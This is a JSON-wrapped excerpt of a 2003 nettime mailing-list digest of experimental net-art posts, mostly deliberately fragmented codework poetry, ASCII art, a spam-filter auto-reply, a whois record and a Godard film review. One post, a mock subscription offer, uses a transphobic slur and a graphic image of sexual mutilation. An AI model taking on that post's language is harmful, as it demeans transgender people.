LISTSERV.UTORONTO.CA>\n\nSubject: Producing numbers\n    From: A Dontigny <ad {AT} electrocd.com>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: 16 Expletives Deleted\n    From: MWP <mpalmer {AT} JPS.NET>\n    To: POETICS {AT} LISTSERV.BUFFALO.EDU\n\nSubject: .les couches N.E.U.R.a.u.ssi\n    From: -r-W-x-R-W-X-R- x <gustin.pascale {AT} free.fr>\n    To: 7-11 {AT} mail.ljudmila.org, _arc.hive_ {AT} lm.va.com.au\n\nSubject: Re: [ nmpls00]\n    From: a u t u m n - f r e q u e n c y  <star.power {AT} usa.net>\n    To: <_arc.hive_ {AT} lm.va.com.au>\n\nSubject: Toward a Manifesto...\n    From: \"William Fairbrother\" <wfairbrother {AT} hotmail.com>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: nmpls00\n    From: a u t u m n - f r e q u e n c y  <star.power {AT} usa.net>\n    To: \"30_secs_oftQuoteSPC\" <_arc.hive_ {AT} lm.va.com.au>\n\n\n\nlurking editors\n\nbeatrice beaubien <i2eye {AT} mac.com>\n    7-11 nettime-bold thingist \nflorian cramer <cantsin {AT} zedat.fu-berlin.de>\n    7-11 _arc.hive_ eu-gene o-o rhizome rohrpost webartery wryting \nalan sondheim <sondheim {AT} panix.com>\n    7-11 _arc.hive_ poetics siratori trAce webartery wryting \n$Id: digestunstable.pl,v 1.13 2003/01/26 18:51:21 paragram Exp $\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Sun, 16 Feb 2003 12:15:27 +0100",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200302161949.h1GJnkQ27055 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0302/msg00075.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 34"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00035",
                "content": "\nFrom: Steven <steve=noweurope.com {AT} spamarrest.com>\nTo: cantsin {AT} zedat.fu-berlin.de\nSubject: Re: <nettime> unstable digest vol 11 (verification)\nDate: Tue, 04 Feb 2003 07:06:08 -0800\n\n\nSteven here,\n\nI'm protecting myself from receiving junk mail.\n\n\nJust this once, click the link below so I can receive your emails.\nYou won't have to do this again.\n\nhttp://spamarrest.com/a?29753403:226197\n\n\n\n\nSpam Arrest - Take control of your inbox!\nhttp://spamarrest.com\n\n------------------------------------------------------------\nYou are receiving this message in response to your email to\nSteven, a Spam Arrest customer.\n\nSpam Arrest requests that senders verify themselves before\ntheir email is delivered.\n\nWhen you click the above link, you will be taken to a page\nwith a graphic on it. Simply read the word in the graphic,\ntype it into the form, and you're verified.\n\nYou will only need to do this once per Spam Arrest customer.\n------------------------------------------------------------\n\n------=_Part_7798_11924914.1044371168154\n\n<html>\n<head>\n\n<!--\n\nSteven here,\n\nI'm protecting myself from receiving junk mail.\n\n\nJust this once, click the link below so I can receive your emails.\nYou won't have to do this again.\n\nhttp://spamarrest.com/a?29753403:226197\n\n\n\nSpam Arrest - Take control of your inbox!\nhttp://spamarrest.com\n\n------------------------------------------------------------\nYou are receiving this message in response to your email to \nSteven, a Spam Arrest customer.\n\nSpam Arrest requests that senders verify themselves before \ntheir email is delivered.  \n\nWhen you click the above link, you will be taken to a page \nwith a graphic on it. Simply read the word in the graphic, \ntype it into the form, and you're verified.\n\nYou will only need to do this once per Spam Arrest customer.\n------------------------------------------------------------\n\n-->\n\n\n\n\n\n\nTo: _arc.hive_ {AT} lm.va.com.au\nFrom: \"hu][bris wo][man\" <netwurker {AT} hotkey.net.au>\nSubject: Re:  Being Approached  [mEssay]\nDate: Sat, 01 Feb 2003 13:29:46 +1100\n\nAt 02:03 PM 31/01/2003 +0000, you wrote:\n\n>         I will begin with the first line of \"hu][bris wo][man\"\u0092s poem, \n> [_arc.hive_] _m.burr cha][r][nnel_:\n>\n>::][b][liz][z][ard m.burr channel.ling + ca][r][t white s][f][izzling\n\nhead.a lines + boolean sin][tax][ taste buddings....\n\n[unp][oesis only -code l][ack mode ON>>>\n\nblizzard ember channeling\nlizard ember channel\n\np.l.us\n\ncat white sizzling\ncart white fizzling\n\n[cont.eX.t mode ON>>>>\n\n[canberra fires + ppl rescue-dying in houses full of screaming pets]\n\n\n>::::::\n>\n>[Sorry I took so much space\u0085\n\nno ape.ologies nec.\n\n>I welcome comments/revisions,input,digressions/thanks to \"hu][bris \n>wo][man\"\u0097sorry I didn\u0092t ask permission,\n\n.no prob.\n\n[.n.joyment lvl =HI[fied]]\n\n.t.hankerings.\n\n>this is perhaps all nonsense and it would be kind of you to just send me \n>an email with in the subject field \u0091Bullshit\u0092, if you please\u0097((I am \n>afterall a simple cook in a restaurant on a southern island in \n>Denmark))\u00adthanks\u0085]\u0085\n\nsimple =no.\nbl.own open + complex.\n\n*smooch*\nmez\n\n\n\n\n- pro][tein][.logging.txt\n-\n-\n\nhttp://www.hotkey.net.au/~netwurker/\n_\n_sparks of lost hu][bris][man $cent][+re.sieved][_\n\n\n\n\nTo: 7-11 {AT} mail.ljudmila.org\nFrom: diocletian {AT} visi.com (Karl Petersen)\nSubject: spam from 130.79.93.144 .\nDate: Fri, 31 Jan 2003 15:58:27 -0600 (CST)\n\n\nOrgName:    Universite Louis Pasteur Strasbourg \nOrgID:      ULPS\n\nNetRange:   130.79.0.0 - 130.79.255.255 \nCIDR:       130.79.0.0/16 \nNetName:    OSIRIS\nNetHandle:  NET-130-79-0-0-1\nParent:     NET-130-0-0-0-0\nNetType:    Direct Assignment\nNameServer: NS1.U-STRASBG.FR\nNameServer: NS2.U-STRASBG.FR\nNameServer: SHIVA.JUSSIEU.FR\nComment:    we are currently reorganising our domain name servers\nRegDate:    1988-06-27\nUpdated:    2002-09-11\n\nTechHandle: ZU79-ARIN\nTechName:   Universite Louis Pasteur \nTechPhone:  +33 3 90 24 03 23\nTechEmail:  aide-osiris {AT} crc.u-strasbg.fr \n\n# ARIN Whois database, last updated 2003-01-30 20:00\n# Enter ? for additional hints on searching ARIN's Whois database.\n\n\n\nFrom: -r-W-x-R-W-X-R- x <gustin.pascale {AT} free.fr>\nTo: 7-11 {AT} mail.ljudmila.org, _arc.hive_ {AT} lm.va.com.au\nSubject: chronO=ZOne\nDate: Fri, 31 Jan 2003 17:53:16 +0100\n\n/** R=iEn=n'Etait         /chronO=ZOne\n             l              /\n             i             /\n             z            /\n             e=to the un+/1\n                       i/t\n             mATrix   */\n             vol(d un/it()\n                    /\n             {     /\n                  /\nR(ead)ouge     / red = \u00e9fi\n                /\n               /\n        o-----/--------i=oN--------o\n             /         f=r\n            /\n           /           F=M\n          /\n         /\n        /             \u00e9 = i\n       /               r=D\n     /                E n A\n    /                 m = b\n                     m  =  l\n                      e =  e\n\n                     N  =  E!\n\n                  prin T Blue\n\n\n-- \npasc {AT} csaq\n\n-r-W-x-R-W-X-R- x\nautobuild/wheel\n---------------[18608128 - s-ile-nses]\n            {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \nprojet/cuneifoRM :\nhttp://gustin.pascale.free.fr\n          o---------------o\nhttp://www.atelierblanc.net/p-gustin/02atelier/cadre1.htm\n\n\n\n\n\n\nDate: Sun, 02 Feb 2003 14:22:49 +0100\nFrom: -r-W-x-R-W-X-R- x <gustin.pascale {AT} free.fr>\nTo: 7-11 {AT} mail.ljudmila.org, _arc.hive_ {AT} lm.va.com.au\nSubject: BASE COUNT\n\nBASE COUNT 271 a 196 c 256 g 237 t ORIGIN \\ | d f | / | | i Lu f c | | F\nT / \\ | | \u00e9 u r a c E n te r m m | e |_ / N | tgaagccaTT\nAh /** si R=iEn=n'Etait  ri/en ///chrom0=Z0ne\n                           /\n                          /\n            z            /\n            e=Ro the un+/1\n                      i/t\n            mATrix   */\n            voi(d un/)it()\n                   /\n            {     /\n                 /\n         record / red = \u00e9fi\n               /\n              /\n       o-----/--------i=oN--------o\n            /         f=r\n           /\n          /           F=M\n         /\n        /\n       /             \u00e9 = i\n      /               r=D\n    /                E n A\n   /                 m = b\n                    m  =  l\n                     e =  e\n\n                    N  =  E!\n\n                pRin T Blue\n\nLa vie en rose La vie en rose La vie en rose La vie en rose La vie en\nrose La vie en rose La vie en rose La vie en rose La vie en rose La vie\nen rose La vie en rose La vie en rose La vie en rose La vie en rose La\nvie en rose La vie en rose La vie en rose La vie en rose La vie en rose\nLa vie en rose La vie en rose La vie en rose La vie en rose La vie en\nrose La vie en rose La vie en rose La vie en rose La vie en rose La vie\nen rose La vie en rose La vie en rose La vie en rose La vie en rose La\nvie en rose La vie en rose La vie en rose La vie en rose La vie en rose\nLa vie en rose La vie en rose La vie en rose La vie en rose La vie en\nrose La vie en rose La vie en rose La vie en rose La vie en rose La vie\nen rose La vie en rose La vie en rose La vie en rose La vie en rose La\nvie en rose La vie en rose La vie en rose La vie en rose La vie en rose\nLa vie en rose La vie en rose La vie en rose La vie en rose La vie en\nrose La vie en rose La vie en rose La vie en rose La vie en rose La vie\nen rose La vie en rose La vie en rose La vie en rose La vie en rose La\nvie en rose La vie en rose La vie en rose La vie en rose La vie en rose\nLa vie en rose La vie en rose La vie en rose La vie en rose La vie en\nrose La vie en rose La vie en rose La vie en rose La vie en rose La vie\nen rose La vie en rose La vie en rose La vie en rose La vie en rose La\nvie en rose La vie en rose La vie en rose La vie en rose La vie en rose\nLa vie en rose La vie en rose La vie en rose La vie en rose La vie en\nrose La vie en rose La vie en rose La vie en rose La vie en rose La vie\nen rose La vie en rose La vie en rose La vie en rose La vie en rose La\nvie en rose La vie en rose La vie en rose La vie en rose La vie en rose\nLa vie en rose La vie en rose La vie en rose La vie en rose La vie en\nrose La vie en rose La vie en rose La vie en rose La vie en rose La vie\nen rose La vie en rose La vie en rose La vie en rose La vie en rose La\nvie en rose La vie en rose La vie en rose La vie en rose La vie en rose\nLa vie en rose La vie en rose La vie en rose La vie en rose La vie en\nrose La vie en rose La vie en rose La vie en rose La vie en rose La vie\nen rose La vie en rose La vie en rose La vie en rose La vie en rose La\nvie en rose La vie en rose La vie en rose La vie en rose La vie en rose\nLa vie en rose La vie en rose La vie en rose La vie en rose La vie en\nrose La vie en rose La vie en rose La vie en rose La vie en rose La vie\nen rose La vie en rose La vie en rose La vie en rose La vie en rose La\nvie en rose La vie en rose La vie en rose La vie en rose La vie en rose\nLa vie en rose La vie en rose La vie en rose La vie en rose La vie en\nrose La vie en rose La vie en rose La vie en rose La vie en rose La vie\nen rose La vie en rose La vie en rose La vie en rose La vie en rose La\nvie en rose La vie en rose La vie en rose La vie en rose La vie en rose\nLa vie en rose La vie en rose La vie en rose La vie en rose La vie en\nrose La vie en rose La vie en rose La vie en rose La vie en rose La vie\nen rose La vie en rose La vie en rose La vie en rose La vie en rose La\nvie en rose La vie en rose La vie en rose La vie en rose La vie en rose\nLa vie en rose La vie en rose La vie en rose La vie en rose La vie en\nrose La vie en rose La vie en rose La vie en rose La vie en rose La vie\nen rose\n\n-- \npasc {AT} csaq\n\n\n\n\n\n\n\n\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____|\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00 > # \\ /\n/ /____| | | \\ / / /____| | | # > # \\ / / /____| | | \\ / / /____| | | # >\n> > Thank you for participating in 7-11 MAILING LIST > SUBSCRIBER\nSATISFACTION SURVEY. > > > > >\n###################################################### >\n#1.7.100(today=\"7-11.00 071101010 07110101 0711.00100# > # # > # _____ _ _\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00\n071101010 07110101 0711.00100# > ###########\nhttp://mail.ljudmila.org/mailman/listinfo/7-11\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ /\n/ /____|##################################################################\n>## ############      ########## # ### ### ##      ###### >\n####  ######  #### #### ######  ##############  ###### >\n# ####  ##### #### ########## ######  ###   ####### >\n>\n>\n\n\n\n\nDate: Sun, 02 Feb 2003 17:23:06 +0100\nFrom: \"[iso-8859-1] Bj=F8rn Magnhild=F8en\" <magh {AT} chello.no>\nTo: e-kunst {AT} kunst.no\nSubject: Re: 12 minutes of \"conquests\" Rethinking Wargames | e\n\n\n               _ _J                               .UU_._               (\n             (`JDA`. ()                           (UQ#HHHQ_           `\n            _JAUAAUAUQU                             \"U#4HHHL            _\n           .AAUQUUUUUQU                          ..DA\"4AUFU      _L     DD.\n           \"\"UUUUF  DAF                                `  )     .JD)    (DD=\n)\n             4\"F   JUAF                                  (A    .DDDF ``  (D=\nL\n               A   `                                      QQ.  (DDDD)`. . F\n              .                                   .      JQ##L_DDDDD)(DLJ.\n               4                                JAAUUQUJU#NH#H#HUAADDJADD) =\n=2E\n                                               JUUQ4QQQU##NHNNHNN#QFDDDDD)D=\n)\n                .                            (QQLQ# AUUUANHNNNHNNNHD)DADDJ.=\n`\n            . .  ``_                         UQQ#Q#AAUQQHHNNNNHNNNH#LDDDDF\n             )`    \"                        (Q#Q###QQLAQN#NMNNNMNHHHF`\"```\n             D        .                     UQ#QQ#Q AQ###MNNNMNMNHHN#\n      )      F .      L.                   .Q#H#Q#UJQQQUNMNNMMNNNNNHQ)\n          ._AA`     _UA                    (H#HHQHUUUADQNMNMMMMMNNHH#U\n           \"     .A4U)                     AUAQQQF`44` `4NHNNNNNHHHHHQ)\n          `     (DA4#)                __LAAAF\"LJJJADD)   HNHNNHMHHNHQQ`\n        J  ).JF/ FD       \"       `\"\"AAA\"4F) .(UUQ#F _   (NNNNHNHHH#QF\n     `   )LD)LJJA D                       `QQQN  HHQHHL JQHNNNHHHH#U\"\n       (DAAQQQUAD(.(                        \"\"H) UH##HNMMNHNNNHH#Q\n      (  4#QUAF4                             JHHH#QQ#HNNMNHNNNHQA\n         (UUAL     .                        (H##HHQU#HHNMNNNNH#A)\n         (UAD4                              ##H#H#QQQH##MNHNNHAUQ.\n         `4DD                              (HHHH##QU###HHNHHHFU#U\n         . 4)       ()                     (U###H#QQ#Q#HHHH#U###A\n         ` `` `                            (#UU##QQQ###H#UU#H##QA\n       .  ) .\"                             (Q#UUQUUAUF\" AQ###QQQA\n          ` `.L .                          UQQUQQQUQLUQLHQQ#QQQQU\n       ..A  )4)4                           4QQ Q#QQF###H#QQQQQUUA\n       D)A ((FD .                           U  UQQQQQQQQQQQQQUQUF\n       A)4 (J``                                UQUQQQUQQUUQQUUUA\n       J)( (FD)`  `                            UUQUUUUUUQUQUUAUA)\n       4`\" `. `)                               UUUUUUUU`UUUAAAAL)\n           ```.                                AUUUQUUU (AUAAAAA)\n           . () .                              (UUUUUUA  AAAAAAD\n             . .                               (UUUQUAF  (AAAAA)\n\n\nhttp://home.pacific.net.au/~robertl/mistons/1999/carabi03.jpg\n\n\nsine=09krigstokter=09som=09en=09samling=09postkort,\n\n>\"A=09bizarre,=09surreal,=09and=09potent=09antiwar=09film,=09Jean-Luc=09God=\nard's\n=09LES=09CARABINIERS=09is=09a=09complex\n>tale=09of=09two=09riflemen=09who=09travel=09the=09world=09in=09the=09servi=\nce=09of\n=09\"The=09King.\"=09Recruited=09by=09two\n>other=09members=09of=09the=09army,=09Michel-Ange=09and=09Ulysses=09leave=\n=09their\n=09wives,=09Cleopatra=09and=09Venus,to\n>wander=09as=09far=09as=09Egypt=09and=09the=09US=09killing=09and=09torturin=\ng\n=09innocent=09victims=09for=09their=09unseen\n>leader.=09Full=09of=09the=09innovative=09editing=09techniques=09and\n=09intellectual=09vigor=09that=09punctuates\n>almost=09all=09Godard's=09films,=09LES=09CARABINIERS=09finds=09Godard=09pl=\naying\n=09promiscuously=09with=09imagesand\n>ideas,=09including=09favorite=09preoccupations=09such=09as=09the\n=09destructiveness=09of=09capitalism,=09often\n>presenting=09ideas=09and=09opinions=09that=09are=09forgotten=09almost=09as=\n=09soon=09as\n=09they=09are=09articulated.\n>Beautiful,=09complex,=09fascinating,=09and=09frustrating,=09LES=09CARABINI=\nERS=09is\n=09vintage=09Godard.\"\n\n&...\nwith=09Godard=09going=09to=09great=09lengths=09to=09develop=09unsympathetic=\n=09characters\n=09and=09distance=09the=09audience=09from=09the=09on-screen=09proceedings.=\n=09He\n=09purposely=09shot=09the=09film=09on=09a=09grainy=09film=09stock,=09then=\n=09made=09it\n=09even=09grainier=09in=09the=09processing,=09yielding=09an=09old-newsreel\n=09effect=09and=09even=09incorporating=09actual=09stock=09footage=09into=09=\nthe=09final\n=09film.=09After=09the=09first=09hour,=09however,=09comes=09a=09remarkable\n=09Eisensteinian=09montage,=09consisting=09of=0912=09minutes=09of\n=09\"conquests\"--the=09postcard=09sequence.=09In=09LES=09CARABINIERS,=09Goda=\nrd\n=09succeeded=09in=09portraying=09war=09as=09an=09ugly=09and=09ignoble\n=09atrocity=09in=09a=09manner=09entirely=09different=09from=09what=09he=09h=\nas\n=09called=09\"the=09beautiful=09Zanuckian=09style.\"=09If=09LES=09CARABINIERS\n=09cannot=09be=09called=09a=09compelling=09dramatic=09work,=09the=09film=09=\nrepresents\n=09a=09liberating=09step=09beyond=09cinematic=09convention.\n\n\n\n\n>THE=09SMTP=09CSEQUENCE=09#5\n>=09Simple=09Protocol=09Art=09Mail\n\n\n\n\n\n\n\n\nDate: Tue, 4 Feb 2003 13:12:04 +0100\nFrom: Johan Meskens CS2 jmcs2 <JohanMeskensCS2 {AT} chromaticspaceandworld.com>\nTo: s-.-.~ <7-11 {AT} mail.ljudmila.org>\nSubject: THE ALGORITHMIC MAGIC AND THE SOURCE PAGE CODE SAYS 404\n\nthe algorithmic magic is not two left hands\nthe algorithmic magic is not a dead body\nthe algorithmic magic is not an empty mind\nthe algorithmic magic is not to use the voice speaking\nthe algorithmic magic is not two left hands a dead body and an empty mind to use the voice speaking\nthe algorithmic magic is algorithmic magic\n\n{ the } says [ i came with words on my shirt . she noticed ]\n  { source } page [ sometimes ]\n  { page } page [ disappearing from the net ]\n  { code } the [ wontsin ]\n  { says } page [ she cried and then started running ]\n  { 404 } 404 [ there is no middleway i told her ]\n\n^ { the }  [ i came with words on my shirt . she noticed ] ^\n^  { source }  [ sometimes ] ^\n^  { page }  [ disappearing from the net ] ^\n^  { code }  [ wontsin ] ^\n^  { says }  [ she cried and then started running ] ^\n^  { 404 }  [ there is no middleway i told her ] ^^^^^^^ sayspagepagethepage404 ^^^^^^\n\n{  }  i came with words on my shirt . she noticed [--the--]\n  { source }  sometimes [-page-]\n  { page }  disappearing from the net [----page----]\n  {  } the wontsin [---code---]\n  {  } page [ she cried and then started running ]says SHE\n  { --- }  there is no middleway i told her  [----404----]\n\n{  is there [404] i told no middleway 404 her }\n{   [   ]code ^^wontsin the }\n{from disappearing [page the ]page net }\n{   says i shirt my on she . the with came noticed words }\n{  ^   page [source] ^  ^^sometimes }\n{        cried and then running [she says^]^ started page ^ }\n\nsays -- noticed ---- on i told then no\n she - words came ----- page\n with sometimes -- page code\n page says -----  is the started source . 404\n her cried and -- from 404 net page\n wontsin disappearing shirt -\n --   -- middleway the --- there the --- running she ----- i my disappearing\n\n\n\n\n\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____|\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00 > # \\ /\n/ /____| | | \\ / / /____| | | # > # \\ / / /____| | | \\ / / /____| | | # >\n> > Thank you for participating in 7-11 MAILING LIST > SUBSCRIBER\nSATISFACTION SURVEY. > > > > >\n###################################################### >\n#1.7.100(today=\"7-11.00 071101010 07110101 0711.00100# > # # > # _____ _ _\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00\n071101010 07110101 0711.00100# > ###########\nhttp://mail.ljudmila.org/mailman/listinfo/7-11\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ /\n/ /____|##################################################################\n>## ############      ########## # ### ### ##      ###### >\n####  ######  #### #### ######  ##############  ###### >\n# ####  ##### #### ########## ######  ###   ####### >\n>\n>\n\n\n\n\nTo: _arc.hive_ {AT} lm.va.com.au, 7-11 {AT} mail.ljudmila.org\nFrom: \"hu][bris wo][man\" <netwurker {AT} hotkey.net.au>\nSubject: _Formation of Reality Codes_\nDate: Sun, 02 Feb 2003 17:26:42 +1100\n\n\n\nu <bought> in2 this.\n[unpack thru Eastgate-unstylish hypa.textual essay mode\n\n.if\n.u\n.mus[k]t\n]\n\n\n_Info(a).m.asher Notes_\n\n[IN]_For.ma[sh]tion of Reality Codes_\n\n_Current x.pos[tur]ing of information via conjugation of reality|newbrid* \naff.[li]e.ct_\n_Blair Witch[Which?Version?Bookish?or?Webbish|Cine.marr?] Projecting:\n   + [fact(worms) masquerading as unveiled fiction]\n_Patricia Piccinini [Lump?CarNuggets] + Ron Mueck.ish[DeadDad?PregnantWoman]\n   + [(d.tached)fixion m.asking as veiled f.act(ion scripts)]\n\n=\n- in.formation [wo]manipulation vs [f]actual account.ing\n- context re.placement vs statistical fiction [Ring?TheRing?Videodrome]\n- diss.embl[M].ing reality coding via displays d.note.ing the opposition of \ng.rap[e]hic pornography\n- p.oe[uvre]sis re.Align.ment via hip_h.op[t]ping thru the i[co]n.verse of \nshakes.p[e]aring terrorTory\n\n\n\n--\n:program yr codes accordi[o]nly.\n:re.move de.signer p[g]alls + vis[d]uality echos\n\n\n\n\n</bought>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n*newbrid = hybridity :plus: conceptual d[rench]ata\n\n\n\n\n\nFrom: \"August Highland\" <hmfah3 {AT} hotmail.com>\nTo: <7-11 {AT} mail.ljudmila.org>\nSubject: \"TWELVE MONTHS A YEAR\"\nDate: Fri, 31 Jan 2003 14:14:38 -0800\n\n\n\"TWELVE MONTHS A YEAR\"\n\n\n\nFREE GIFT IF YOU SUBSCRIBE NOW!!\n\nFOR ONLY $25 WE WILL GIVE YOU AN\n\nAUTOGRAPHED PICTURE OF A CRIMINALLY INSANE TRANNY\n\nAUTOFELLATING HER SEVERED PENIS\n\n\n\n\nYOUR GENEROUS SUPPORT WILL HELP US\nCONTINUE TO SUPPORT NEW MEDIA PANDHANDLING ONLINE\n\n\n\naugust highland\n2:13 pm\n01-31-03\n\n\n---\nOutgoing mail is certified Virus Free.\nChecked by AVG anti-virus system (http://www.grisoft.com).\nVersion: 6.0.449 / Virus Database: 251 - Release Date: 1/27/2003\n\n\n\nDate: Tue, 4 Feb 2003 09:03:41 -0800\nFrom: solipsis <solipsis {AT} HEVANET.COM>\nTo: POETICS {AT} LISTSERV.BUFFALO.EDU\nSubject: whatever it was\n\n+=3D-0,2,0-=3D+\nTHE ARGUMENT CHANG HSU: WITNESSED\nBETWEEN A PRINCESS AND STREET PORTER.\n\n/---=E7=90=86 =E6=A5=AD =E5=87=BA---\\\n/---=E9=97=87=E4=BA=8B=E3=82=82=E8=A6=8B---\\\n/---=E7=94=B7=E3=81=AB=E5=B9=B4=E6=9C=88---\\\n/---=E3=81=AF=E3=82=89=E3=82=80=E5=A5=B3---\\\n/that caused it\\\n=2E'iy1a '1t'47 whatever it was. (just let me smile at it.)\n=2E'iy1a '1t'47 whatever it was. (just let me wink at it.)\n\n      RED-EGG: dissero#1 to plant here and there\n\n\n\nC '!sh9 nd1s1 Sh=3D=3Dd4 '7]tin ho[gho[n1'a.\nO Sh1'=3D=3D'3n4go, k=3D=3Dh4go choo[hi[n1'a.\nY N]y1n1'a.\nO 'Iy4[ch'3n1'a.\nT 'Iy1ahee yidoosts'3n1'a.\nE D1'i[k'1yeej8 n11'iyaa[ts'99[n1'a.\n& D1s7sh1'ii'1hy1go 'iy1ahee dihnd7go 'idoosts'3n1'a.\nO bii[ndin1'a.\nW '!koo naad=3D=3Dy1n1'a dash9.\nL '!koo ndiish9 ch'ineesk4n1'a.\n\n      RED-EGG: dissero#2 to examine, argue, discuss, speak, harangue, disco=\nurse, treat\n\nL: '!koo ndiish9 ch'ineesk4n1'a.\n{ X-ray } of the Wine of France & made there so much is little to boil of t=\nhe fiente of horse, & then put there as much bread crumb [ ' plo' deleted ]=\n white to make a Pappus of it, quil is necessary mettle on must & the renou=\nveller 2 times the day. Especially w/ EL rojo bandito.\nA great green Qatarpillar or other Insect shap'd like a Silkworme being put=\n into Alkohool of Wine was thereby preserv'd, & as it were dry'd, being aft=\ner 2 or 3 weeks taken out stiffe, & much shrunk not only in bredth, but in =\nlength, which when it was alive & creeping I measurd to be about 4 Inches, =\nbut within not many days after it was put into the Liquor, it grew all over=\n black.Another (but not soe bigge as the former) beautify'd with yellow, bl=\nack, & red spotts curiously plac'd haveing bin put into the like Liquor 5 o=\nr 6 days agoe & lookd upon this morning, is already growne black on the bel=\nly & sides.\n      DEAD-EGG: dissero#J3 (black, green) to dissent, to EL. Quarles, to sh=\nadow the plural, to make in conflict\n\n      summ=C3=BBm-bihac sonaffa neut gen pl irreg_supearl poetic itch\n      summ=C3=BBm-bihac masc gen pl irreg_supearl poetic itch\n      summum-bihac masc acc sg irreg_supper l niche\n      summum-bihac neut nom sg irreg_su perl vev\\tron\n      summum-bihac neut nom sg irreg_s up er l ology\n      summum-bihac neut voc sg irreg_sup url plode\n      summum-bihac sinafta neut acc sg irreg_s u p e r l ject\n\n\nThe Russian Circus:\nbiyuach to biyuachyu to biyuachyuyu to biyuachyu the biyuachyuyu the biyuac=\nhyuyuyu to biyuachyu the biyuachyuyu the biyuachyuyuyu the biyuachyuyu to t=\nyue to biyuachyuyuyu to tyue to biyuachyuyuyuyu to biyuachyu the biyuachyuy=\nu the biyuachyuyuyu the biyuachyuyu to tyue to biyuachyuyuyu to tyue to biy=\nuachyuyuyuyu the biyuachyuyu to tyue to biyuachyuyuyu to tyue to biyuachyuy=\nuyuyu to tyue to biyuachyuyuyu the tyuye the biyuachyuyuyuyu (philosophy in=\n the breadroom) the tyuye the biyuachyuyuyuyuyu to[T0H0E R0E0D 0A0R0M0Y0 0K=\n0E0E0P0S0 A0D0D0I0N0G0 0Y0O0U0S0] biyuachyu the biyuachyuyu the biyuachyuyu=\nyu the biyuachyuyu to tyue to biyuachyuyuyu to tyue to biyuachyuyuyuyu the =\nbiyuachyuyu to tyue to biyuachyuyuyu to tyue to biyuachyuyuyuyu to tyue to =\nbiyuachyuyuyu the tyuye the biyuachyuyuyuyu the tyuye the biyuachyuyuyuyuyu=\n the biyuachyuyu to tyue to biyuachyuyuyu to tyue to biyuachyuyuyuyu to tyu=\ne to biyuachyuyuyu the tyuye the biyuachyuyuyuyu the tyuye the biyuachyuyuy=\nuyuyu to tyue to biyuachyuyuyu the tyuye the biyuachyuyuyuyu the tyuye the =\nbiyuachyuyuyuyuyu the tyuye the biyuachyuyuyuyu to tyue tyuye to tyue to bi=\nyuachyuyuyuyuyu to tyue tyuye to tyue to biyuachyuyuyuyuyuyu++\n=E6=A5=AD =E6=A5=AD =E6=A5=AD =E6=A5=AD =E6=A5=AD =E6=A5=AD =E6=A5=AD =E6=\n=A5=AD =E6=A5=AD =E6=A5=AD =E6=A5=AD =E6=A5=AD\n\n\n\n\n\n\n\n\na few of the sources:\nhttp://etext.lib.virginia.edu/apache/ChiMesc2.html\nhttp://etext.lib.virginia.edu/japanese/jti.texts.html\nhttp://etext.lib.virginia.edu/apache/\nhttp://www.perseus.tufts.edu/cache/perscoll_Boyle.html#text1\nhttp://www.perseus.tufts.edu/\n\n\n\n\nDate: Mon, 3 Feb 2003 21:14:32 +0100\nFrom: Johan Meskens CS2 jmcs2 <JohanMeskensCS2 {AT} chromaticspaceandworld.com>\nTo: 7-11 {AT} mail.ljudmila.org\nSubject: Re:  